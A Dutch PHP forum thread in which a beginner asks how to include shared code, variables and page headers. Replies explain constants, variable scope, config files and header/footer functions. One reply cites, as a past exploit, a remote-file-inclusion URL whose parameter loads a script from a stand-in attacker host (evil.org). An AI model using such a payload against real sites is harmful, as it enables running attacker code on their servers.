Sourcecodes includen in php

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Jan te Pas

Jan te Pas

13/10/2017 12:57:59
Quote Anchor link
Hall allemaal, een beginnersvraag. In het verleden heb ik geprogrammeerd waarbij ik delen van de software als library kon includen. Bij php werkt het anders. Ik dacht slim te zijn door een vast blok source code via een indlude in andere php pagina’s te gebruiken, als ware het een code. Dat werkte/werkt niet. Welke oplossing is daarvoor beschikbaar. Het kan gaan van variabelen vullen/de larderen die in de source dan gebruikt worden. Of een standaard footer. Kopiëren is gemakkelijk, maar ik vind het modulair programmeren handiger. Op een plek de source aanpassen die vervolgens in de pagina’s verwerkt worden. Hoe doen jullie dit en wat is aan te bevelen in php? Alvast dank.
 
PHP hulp

PHP hulp

30/11/2024 00:52:48
 
- Ariën  -
Beheerder

- Ariën -

13/10/2017 13:40:38
Quote Anchor link
Als je twee fysiek gescheiden sources hebt, dan zou je toch een brug moeten leggen tussen beiden.
Waarom zijn ze eigenlijk gescheiden? Als je bepaalde data uit een ander systeem wilt opvragen, dan lijkt het mij zinniger om een (REST) API te gebruiken in het doel-systeem. Terwijl je in je bron-systeem A de boel dan bij B ophaalt.

Als ik bijvoorbeeld gegevens van Facebook wilt gebruiken, heb ik ook geen toegang tot hun source. Maar kan ik uitsluitend via een API hier toegang tot krijgen.
 
Frank Nietbelangrijk

Frank Nietbelangrijk

13/10/2017 14:03:47
Quote Anchor link
In php kun je prima libraries maken. Ook zijn er vele kwalitatief uitstekende libraries beschikbaar

Echter hoort er in een library bij voorkeur één enkele class te staan. Dit gaat dan over OOP programmeren.
Wil je procedureel programmeren dan zou je libraries kunnen maken met één of enkele functies er in.

Uiteraard kun je de libraries gewoon kopiëren naar andere projecten.

De Footer die jij noemt is wat mij betreft een uitzondering. Dit is een gedeelte van de VIEW. Deze plaats je dus niet bij de echte libraries maar in een folder met een naam als "templates" bijvoorbeeld.
 
- Ariën  -
Beheerder

- Ariën -

13/10/2017 14:09:59
Quote Anchor link
Als je op één fysiek systeem werkt (mij is niet duidelijk hoe dat in jouw situatie is) kan je prima meerdere library's gebruiken. De meeste frameworks hebben wel mogelijkheden hiervoor.
 
Rob Doemaarwat

Rob Doemaarwat

13/10/2017 14:28:14
Quote Anchor link
Maar wat werkt er nou precies niet? Want hierboven allemaal hele mooie antwoorden (maar misschien iets te diep voor "een beginner"), maar als het gewoon een include(...) is die "niet werkt" (zie http://php.net/manual/en/function.include.php ) dan ben ik ik toch heel benieuwd naar de code en de foutmelding.
 
- Ariën  -
Beheerder

- Ariën -

13/10/2017 15:44:25
Quote Anchor link
Ik denk dat hij iets als dit probeerde:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
include "http://www.new-example.org/libary/my_library.php";
?>


En gelukkig gaat dat niet ;-)
 
Thomas van den Heuvel

Thomas van den Heuvel

13/10/2017 16:25:16
Quote Anchor link
- Ariën - op 13/10/2017 15:44:25:
Ik denk dat hij iets als dit probeerde:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
include "http://www.new-example.org/libary/my_library.php";
?>

En gelukkig gaat dat niet ;-)


Dat gaat prima indien URL include wrappers ingeschakeld staan en www.new-example.org de PHP-support uit heeft staan zodat rauwe code wordt opgehoest.

Sterker nog, vroegah leden veel websites op shared/gratis hosting onder dit soort url-include-exploits (http://mijngratishost.com/hennie/index.php?page=http://www.evil.org/hackme.txt)
 
- Ariën  -
Beheerder

- Ariën -

13/10/2017 17:02:48
Quote Anchor link
Maar die staan standaard uit, en dan als de PHP-support uit zou zijn, zou het script aan die kant sowieso niet werken. Infeite sta je in jouw situatie gewoon gezellig plain-text scripts op te halen.
 
Thomas van den Heuvel

Thomas van den Heuvel

13/10/2017 19:09:39
Quote Anchor link
- Ariën - op 13/10/2017 17:02:48:
Infeite sta je in jouw situatie gewoon gezellig plain-text scripts op te halen.

Mja, die vervolgens als PHP geïnterpreteerd worden omdat je deze via PHP include. Plaintext kan prima PHP-code bevatten. Hoe dit tekstbestand behandeld/verwerkt wordt staat los van het feit dat het een tekstbestand is.
Gewijzigd op 13/10/2017 19:20:53 door Thomas van den Heuvel
 
Jan te Pas

Jan te Pas

14/10/2017 11:07:12
Quote Anchor link
Dank voor de reactie. Ik zie dat er geen eenduidige manier is. Ik wil variabelen die ik in meerdere pagina’s gebruik apart includen, omdat ik dan maar een bestand hoef aan te passen om direct overal up to date te hebben. Ik had al gemerkt dat include niet altijdchetzelfde werkt. Ik ga met jullie tips aan de slag. Dank.
 
Bart V B

Bart V B

14/10/2017 12:36:47
Quote Anchor link
Quote:
Ik wil variabelen die ik in meerdere pagina’s gebruik apart includen

Hebben ze daar geen sessions voor uitgevonden of begrijp ik je verkeerd?
Of als je wel met include wenst te werken define?
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.

define("GREETING", "Hello you.", true);
echo GREETING; // outputs "Hello you."
echo Greeting; // outputs "Hello you."

// Works as of PHP 7

define('ANIMALS', array(
    'dog',
    'cat',
    'bird'
));
echo ANIMALS[1]; // outputs "cat"

?>
 
Jan te Pas

Jan te Pas

14/10/2017 14:24:28
Quote Anchor link
Kijk... hier leer ik weer iets bij. Dank! Ik dacht ook aan een standaardmenu die op meerdere pagina’s komt. Een keer maken en vaker gebruiken is mijn streven.
 
Thomas van den Heuvel

Thomas van den Heuvel

14/10/2017 17:15:55
Quote Anchor link
Ik denk dat de topicstarter naar twee verschillende dingen op zoek is:
- configuratie-variabelen
- een manier om herhalende/standaard delen in een pagina-ontwerp in te voegen

Deze hebben elk een iets ander gedrag dus deze zou ik niet op eenzelfde hoop gooien.

Configuratie-variabelen zitten vaak in een apart bestand. Je kunt dit op een heleboel manieren structureren, bijvoorbeeld met constanten zoals @Bart hierboven aangeeft. Maar ook alles opslaan in een configuratie-object of één groot array zijn opties. Je (Jan) geeft aan dat dat niet (of niet altijd?) werkt. Dit kan te maken hebben met het geldigheidsgebied, ofwel de scope van variabelen. Mogelijk ben je bijvoorbeeld het volgende gewend vanuit JavaScript:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
var hello = 'Hello World.';

function test() {
    alert(hello);
}

test();

De variabele "hello" is bekend in alle "ondergelegen codeniveau's", zo ook de functie die na de declaratie van "hello" staat gedefinieerd.

PHP hanteert een wat strictere scheiding, de volgende code:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
<?php
$hello
= 'Hello World.';

function
test() {
    echo $hello;
}


test();
?>

Levert een foutmelding op:
Quote:
Notice: Undefined variable: hello in <het script> on line <regelnummer>

Dit komt omdat de functie test (echt) een aparte (en gescheiden) variabelen-ruimte (scope) heeft ten opzichte van alles wat buiten die functie plaatsvindt. Als je wilt dat de functie test() de variabele $hello kent zul je deze op een of andere manier bekend moeten maken. Dit zou je bijvoorbeeld kunnen doen door deze aan de functie door te geven als parameter:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
<?php
$hello
= 'Hello World.';

function
test($message) {
    echo $message;
}


test($hello);
?>

Of, maar niet aan te raden, $hello uit de globale(re) scope te trekken:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
<?php
$hello
= 'Hello World.';

function
test() {
    global $hello;
    echo $hello;
}


test();
?>

Of je zou $test als constante kunnen definiëren. Constanten worden niet beperkt door scope en zijn overal toegankelijk:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
<?php
define('HELLO', 'Hello World.');

function
test() {
    echo HELLO;
}


test();
?>

Traditioneel worden constanten altijd volledig in HOOFDLETTERS opgesteld. De vraag is of je zo je variabelen wilt definiëren - dit hangt een beetje van het gebruik af, zijn dit echt alle variabelen die configuratie regelen en waarvan je wilt dat deze ook overal opvraagbaar (en ook bruikbaar!) zijn of verzorgen deze ook andere taken of hebben deze een wat beperkter doel dan universele bekendheid?

Ook zou je gewoon een platte lijst kunnen bijhouden in een array, dit zou ik verkiezen boven "losse" variabelen omdat de kans dan wat kleiner is dat je deze per ongeluk overschrijft omdat deze alle opgehangen zijn aan één kapstok (de naam van het array). Dit array zou je vervolgens in een apart bestand onder kunnen brengen, bijvoorbeeld config.php:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?php
$myConfig
= array(
    'hello' => 'Hello World.',
);

?>


Binnen de scope (functie) waarin je deze config nodig hebt include je deze met "require" (hiermee stel je het aanwezig zijn van je configuratie-bestand verplicht, dit in tegenstelling tot een normale "include"):
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
<?php
function test() {
    require './config.php';
    echo $myConfig['hello'];
}


test();
?>

Goed, mogelijkheden te over.

Dan zijn daar nog standaard HTML snippets, in zijn eenvoudigste vorm zou je dit kunnen doen via require_once. Bijvoorbeeld voor een pagina-header en -footer.

Vaak wil je wel specifieke dingen variabel kunnen houden in deze onderdelen. Zo zou je in een header een pagina-titel in will stellen, en eventueel JavaScript- of CSS-bestanden in willen voegen. In een footer zou je misschien nog iets anders kwijt willen. Er is dan ook iets voor te zeggen om hier ook functies van te maken die je parameters kunt voeren.

Header:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function __header($pageTitle) {
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title><?php echo $pageTitle ?></title>
</head>

<body><?php
}
?>


Footer:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
<?php
function __footer() {
?>
</body>
</html><?php
}
?>


Pagina:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
<?php
// print header
__header('This is the page title');
    ?>
<h1>My page header</h1>
    <p>Hello World.</p><?php
// print footer
__footer();
?>

Op een soortgelijke wijze als vorige voorbeelden zou je de functies in aparte bestanden kunnen zetten en ook kunnen includen in de pagina zelf. Dit zou je dan via require_once kunnen doen omdat je een header en een footer doorgaans maar één keer nodig hebt in een pagina-opbouw.

Merk op dat het "Pagina" script een volledig -en kloppend- HTML-document produceert.
Gewijzigd op 14/10/2017 17:24:54 door Thomas van den Heuvel
 
Jan te Pas

Jan te Pas

14/10/2017 19:44:16
Quote Anchor link
Hallo Thomas,
Dank voor jouw uitvoerige tutorial. Dank, ik begin het php include te snappen. Dank!
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.